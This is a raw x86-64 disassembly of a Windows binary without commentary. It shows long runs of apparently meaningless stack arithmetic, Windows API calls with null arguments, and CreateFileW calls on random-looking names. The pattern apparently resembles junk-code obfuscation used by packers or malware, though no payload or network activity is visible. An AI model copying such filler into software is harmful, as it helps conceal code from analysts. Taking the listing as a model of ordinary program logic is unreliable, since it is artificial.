lea rax, [rsp + 0x2598]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILFindChild
lea r8, [rsp + 0xed60]
lea rdx, [rsp + 0xed88]
lea rcx, [rsp + 0x259c]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x7524], eax
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dac]
add eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401eede0], ax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xf130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeff8], rax
movzx eax, byte [rsp + 0x4d8]
mov byte [rsp + 0x4e5], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1a64]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2578], ax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x4e3]
and eax, ecx
mov byte [rsp + 0x33a], al
mov eax, dword [rsp + 0x7660]
mov dword [rsp + 0x7698], eax
mov rax, qword [rsp + 0xf0d8]
mov ecx, dword [rsp + 0x6088]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65a0], eax
xor edx, edx
mov rax, qword [rsp + 0xed58]
div qword [rsp + 0xbb58]
mov qword [rsp + 0xe4a0], rax
movzx eax, word [rsp + 0x25a0]
movzx ecx, word [0x1401eede4]
xor eax, ecx
movzx ecx, word [rsp + 0x25c8]
movzx edx, word [rsp + 0x2580]
or ecx, edx
cmp eax, ecx
jle 0x14001dd45
movsx eax, byte [0x1401e3038]
mov rcx, qword [rsp + 0xf150]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4de], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x259c]
sar eax, cl
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0xecb8]
movzx ecx, al
mov rax, qword [rsp + 0xb9e0]
shl rax, cl
mov qword [rsp + 0xf040], rax
movzx eax, word [rsp + 0x1a64]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0x256c], ax
mov rax, qword [rsp + 0xef90]
mov rcx, qword [rsp + 0xf0b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7698], eax
lea rcx, [rsp + 0x6710]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xbb58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf030], rax
mov rax, qword [rsp + 0xf0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7628], eax
mov rax, qword [rsp + 0xf100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17ec]
sub eax, ecx
mov rcx, qword [rsp + 0xf138]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e3039], al
xor r8d, r8d
lea rdx, [rsp + 0xf100]
lea rcx, [rsp + 0x288f0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xf170], rax
mov rax, qword [rsp + 0xf040]
mov rcx, qword [rsp + 0xef68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
jmp 0x1401c4224
mov rax, qword [rsp + 0xf0b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7530]
shl eax, cl
mov ecx, dword [rsp + 0x765c]
mov rdx, qword [0x1401eee00]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401c4224
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x4db], al
lea rdx, [rsp + 0x21320]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x757c], eax
mov rax, qword [rsp + 0xf138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x257c]
add eax, ecx
mov word [rsp + 0x25b8], ax
lea rax, [rsp + 0xf10]
mov qword [rsp + 0xf178], rax
mov rax, qword [rsp + 0xd7b0]
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
mov eax, dword [0x1401eee10]
mov dword [rsp + 0x769c], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xea88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf040]
mov rdx, qword [rsp + 0xf130]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x1401c4039
movzx eax, word [0x1401eede4]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x25c4], ax
lea rdx, [rsp + 0xeeb0]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7668], eax
lea rax, [rsp + 0x2554]
mov qword [rsp + 0xf180], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.iRTj2edxkRYzmyYUa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf188], rax
movzx eax, byte [rsp + 0x4e4]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xe030]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf070], rax
mov rax, qword [rsp + 0xf070]
movzx ecx, al
mov rax, qword [rsp + 0xef40]
shl rax, cl
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov word [rsp + 0x25cc], ax
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xf018]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6aa8], eax
lea rax, [rsp + 0x2b3]
mov qword [rsp + 0xf190], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xece8], rax
movzx eax, word [rsp + 0x255c]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
mov rdx, qword [0x1401eedd8]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14001e032
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7654]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6128], eax
mov rax, qword [rsp + 0xf180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x25b4], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [0x1401e303c], al
lea rax, [rsp + 0x1240]
mov qword [rsp + 0xf198], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e303b]
sub eax, ecx
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x25d0], ax
mov rax, qword [rsp + 0xf0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7654]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
lea rax, [rsp + 0x73a8]
mov qword [rsp + 0xf1a0], rax
movzx eax, byte [rsp + 0x4e4]
mov rcx, qword [rsp + 0xf118]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e0], al
movzx eax, word [rsp + 0x25a8]
mov word [rsp + 0x25d4], ax
movzx eax, word [rsp + 0x25c8]
mov word [0x1401eedd0], ax
mov rax, qword [rsp + 0xef30]
movzx ecx, al
mov rax, qword [rsp + 0xdd40]
sar rax, cl
mov qword [rsp + 0xe030], rax
mov rax, qword [rsp + 0xf148]
mov qword [rsp + 0xf1a8], rax
mov rax, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xed40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xf108], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x33a], al
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4de]
and eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rsp + 0xd7b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf018], rax
mov eax, dword [rsp + 0x7530]
mov dword [rsp + 0x76a0], eax
mov rax, qword [rsp + 0xf0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6850], eax
movzx eax, word [rsp + 0x25b0]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
mov rdx, qword [0x1401eedd8]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x1401c3e6a
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4db], al
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0xf1b0], rax
mov rcx, qword [rsp + 0xef98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x76a4], eax
mov rax, qword [rsp + 0xf1a8]
mov qword [rsp + 0xf1b8], rax
mov eax, dword [rsp + 0x758c]
mov ecx, dword [rsp + 0x765c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [0x1401e3390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea28], rax
mov eax, dword [rsp + 0x75d4]
mov ecx, dword [rsp + 0x7034]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7678], eax
movsx eax, word [0x1401e338c]
movsx ecx, word [rsp + 0x1ea4]
sub eax, ecx
mov word [rsp + 0x1240], ax
movzx ecx, word [rsp + 0x2574]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2574], ax
mov rax, qword [rsp + 0xf178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e33b0], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xecd0]
movzx ecx, al
mov rax, qword [rsp + 0xef68]
shl rax, cl
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xf070]
mov qword [rsp + 0xf1c0], rax
movzx eax, word [rsp + 0x2560]
movzx ecx, word [rsp + 0x25c4]
or eax, ecx
mov word [rsp + 0x25ac], ax
mov rax, qword [rsp + 0xf0c0]
mov rcx, qword [rsp + 0xf048]
mov qword [rsp + 0xf1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf1c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf058], rax
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x76a8], eax
mov rax, qword [rsp + 0xf0e8]
mov rcx, qword [rsp + 0xef90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7414], eax
mov rax, qword [rsp + 0xf1a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6aa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov byte [rsp + 0x4e7], al
mov rax, qword [rsp + 0xf198]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e338c], ax
lea rax, [rsp + 0xed40]
mov qword [rsp + 0xf1d0], rax
mov rax, qword [rsp + 0xf1b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov word [rsp + 0x25d8], ax
mov rax, qword [rsp + 0xf118]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4da], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
lea rdx, [rsp + 0x21320]
mov rcx, qword [rsp + 0xf188]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x76a4], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x7674]
mov ecx, dword [rsp + 0x7630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7604], eax
movzx eax, word [rsp + 0x17ec]
mov word [rsp + 0x25dc], ax
mov rcx, qword [rsp + 0xef98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf0a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e303c], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2568], ax
movsx eax, word [rsp + 0x2588]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xf1d0]
mov rax, qword [rax]
mov qword [rsp + 0xf1d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xef30]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xf1a0]
mov eax, dword [rax]
mov dword [rsp + 0x76ac], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf058]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xea28], rax
mov rax, qword [rsp + 0xf0e8]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xef90]
idiv dword [rcx]
mov dword [rsp + 0x7600], eax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x4dd]
sar eax, cl
mov byte [rsp + 0x181], al
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7588], eax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x33a]
sub ecx, edx
cmp eax, ecx
jg 0x14001e758
lea rax, [rsp + 0x2588]
mov qword [0x1401eedc8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.eN4qZYokE_nO95U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf1e0], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4dc]
sub eax, ecx
mov byte [rsp + 0x2b3], al
movzx eax, word [rsp + 0x258c]
mov word [rsp + 0x25e0], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xedb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd8c8], rax
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
mov word [rsp + 0x25e4], ax
mov eax, dword [rsp + 0x765c]
mov ecx, dword [rsp + 0x6128]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7660], eax
mov rax, qword [rsp + 0xf0d8]
mov ecx, dword [rsp + 0x74ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf080]
mov dword [rcx], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e303c]
add eax, ecx
mov byte [rsp + 0x4da], al
lea rax, [rsp + 0x25b8]
mov qword [0x1401eedc0], rax
mov rcx, qword [rsp + 0xecc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7588], eax
jmp 0x14001e802
mov rax, qword [rsp + 0xefd0]
mov rcx, qword [rsp + 0xeea8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9e0], rax
lea rdx, [rsp + 0x28cc0]
mov ecx, 0xc4
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x75ec], eax
movzx eax, word [rsp + 0x25c8]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xf050]
mov word [rcx], ax
movsx eax, word [rsp + 0x17ec]
mov rcx, qword [rsp + 0xf140]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x25a8], ax
movzx eax, byte [rsp + 0x299]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xf1a0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6850], eax
mov rax, qword [rsp + 0xf048]
mov rax, qword [rax]
mov qword [rsp + 0xf1e8], rax
mov rax, qword [rsp + 0xf0e8]
mov eax, dword [rax]
cdq
mov ecx, 0x7479
idiv ecx
mov dword [rsp + 0x761c], eax
mov rax, qword [rsp + 0xf190]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4dc]
and eax, ecx
mov byte [rsp + 0x4e5], al
lea rax, [rsp + 0x25bc]
mov qword [rsp + 0xf1f0], rax
movsx eax, word [rsp + 0x2584]
movsx ecx, word [0x1401e3398]
sub eax, ecx
mov word [0x1401e33b4], ax
movzx eax, byte [rsp + 0x3fd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e3], al
lea rax, [rsp + 0xef30]
mov qword [rsp + 0xf1f8], rax
mov rax, qword [rsp + 0xf1f8]
mov rcx, qword [rsp + 0xedb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xf1d0]
mov rdx, qword [rsp + 0xeff8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jg 0x14001e90f
lea rcx, [rsp + 0xed60]
call qword [sym.imp.SHELL32.dll_ILFree]
mov eax, dword [rsp + 0x6710]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x76a0]
mov r8d, dword [0x1401eee10]
mov edx, dword [rsp + 0x6f6c]
mov ecx, dword [rsp + 0x758c]
call fcn.1401c58d0
jmp 0x14001eab1
lea rcx, [rsp + 0x205a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xf1f8]
mov rax, qword [rax]
mov qword [rsp + 0xf200], rax
mov rax, qword [rsp + 0xf1a0]
mov ecx, dword [0x1401e3384]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7034], eax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x60e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x769c], eax
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc090], rax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4df]
sar eax, cl
mov rcx, qword [rsp + 0xf150]
movsx ecx, byte [rcx]
mov dword [rsp + 0x76b0], ecx
movsx edx, byte [rsp + 0x1e0]
movzx ecx, dl
mov edx, dword [rsp + 0x76b0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001ea97
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2588], ax
movzx eax, byte [rsp + 0x4e6]
mov byte [rsp + 0x4e8], al
movzx eax, word [rsp + 0x1a64]
mov word [0x1401eedba], ax
mov rax, qword [rsp + 0xf148]
mov rcx, qword [rsp + 0xeff8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf1c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xf1d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf128], rax
mov rax, qword [rsp + 0xf0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x4e9], al
lea rdx, [rsp + 0x212e8]
mov rcx, qword [rsp + 0xf1e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x75c0], eax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x769c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7690], eax
jmp 0x14001eab1
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7628]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7034], eax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
and eax, ecx
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf058], rax
movzx eax, word [rsp + 0x2594]
mov word [rsp + 0x25e8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.o4q6KcdaloV4BFJxSOeaEgXqo6Nd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf208], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2560]
sub eax, ecx
mov word [0x1401e339c], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e6]
sub eax, ecx
mov byte [rsp + 0x4e7], al
movsx eax, word [rsp + 0x25dc]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf140]
mov word [rcx], ax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov word [rsp + 0x25ec], ax
movzx ecx, word [rsp + 0x2548]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2574], ax
mov rax, qword [rsp + 0xf0d8]
mov rcx, qword [rsp + 0xf1a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7630], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed18]
mov qword [rsp + 0xf210], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf210]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd008], rax
mov eax, dword [0x1401eee10]
movzx ecx, al
mov eax, dword [rsp + 0x7640]
sar eax, cl
mov dword [rsp + 0x6f6c], eax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x181]
xor eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, word [rsp + 0x25ec]
mov word [rsp + 0x25f0], ax
mov rax, qword [rsp + 0xf100]
movsx eax, word [rax]
mov rcx, qword [0x1401eedc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e33b4], ax
mov rax, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xeff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xb9e0]
mov qword [rsp + 0xf218], rax
mov rax, qword [rsp + 0xf1f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov word [rsp + 0x25d4], ax
mov rax, qword [rsp + 0xf190]
movzx eax, byte [rax]
mov byte [rsp + 0x4ea], al
mov rax, qword [rsp + 0xef90]
mov rcx, qword [rsp + 0xf0b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xf080]
mov ecx, dword [rsp + 0x7674]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b28], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf030], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
add eax, ecx
mov word [0x1401e33b8], ax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, byte [0x1401e303b]
mov byte [rsp + 0x4eb], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, word [rsp + 0x2480]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25e4], ax
mov edx, 0x1e14
mov rcx, qword [rsp + 0xecc0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x76b4], eax
movzx eax, word [rsp + 0x2550]
mov word [rsp + 0x25f4], ax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xd7b0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf0d8]
mov qword [rsp + 0xf220], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf220]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5f50], eax
mov rax, qword [rsp + 0xf0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7414]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f6c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, word [rsp + 0x255c]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0x256c]
mov rdx, qword [rsp + 0xecf8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x14001efe6
mov rax, qword [rsp + 0xf1f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf040], rax
movzx eax, byte [rsp + 0x4e6]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e303b], al
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x17ec]
add eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, word [rsp + 0x25f0]
movzx ecx, word [rsp + 0x258c]
add eax, ecx
mov word [rsp + 0x2568], ax
movsx eax, byte [rsp + 0x1e0]
movsx ecx, byte [rsp + 0x4de]
sub eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xf128]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf1d0]
mov qword [rcx], rax
